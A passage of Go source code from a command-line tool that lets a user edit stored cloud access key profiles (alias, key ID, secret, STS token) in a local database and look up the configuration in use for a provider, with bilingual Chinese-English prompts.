| } 152 | err = survey.AskOne(prompt2, &selectColumn) 153 | errutil.HandleErr(err) 154 | switch { 155 | case selectColumn == "别名 (Alias)": 156 | selectColumn = "alias" 157 | case selectColumn == "访问密钥 ID (Access Key Id)": 158 | selectColumn = "access_key_id" 159 | case selectColumn == "访问密钥密钥 (Secret Key)": 160 | selectColumn = "access_key_secret" 161 | case selectColumn == "临时访问密钥令牌 (STS Token)": 162 | selectColumn = "sts_token" 163 | } 164 | var qs = []*survey.Question{ 165 | { 166 | Name: "ques", 167 | Prompt: &survey.Input{Message: "请输入修改后的值 (Please enter the modified value): "}, 168 | }, 169 | } 170 | err = survey.Ask(qs, &mfValue) 171 | errutil.HandleErr(err) 172 | CacheDb.Model(&cloud.Config{}).Where("provider = ? AND access_key_id = ?", configSplit[0], configSplit[2]).Update(selectColumn, mfValue) 173 | log.Infof("修改成功 (Successfully modified)") 174 | } else { 175 | log.Infoln("未找到任何访问密钥 (No access key found)") 176 | } 177 | } 178 | 179 | func SelectConfig() []cloud.Config { 180 | var configList []cloud.Config 181 | CacheDb.Order("provider").Find(&configList) 182 | return configList 183 | } 184 | 185 | func SelectConfigInUse(provider string) cloud.Config { 186 | var ( 187 | config cloud.Config 188 | configList []cloud.Config 189 | ) 190 | CacheDb.Where("provider = ? AND in_use = ?", provider, true).Find(&configList) 191 | if len(configList) == 0 { 192 | return config 193 | } else { 194 | return configList[0] 195 | } 196 | } 197 | --------------------------------------------------------------------------------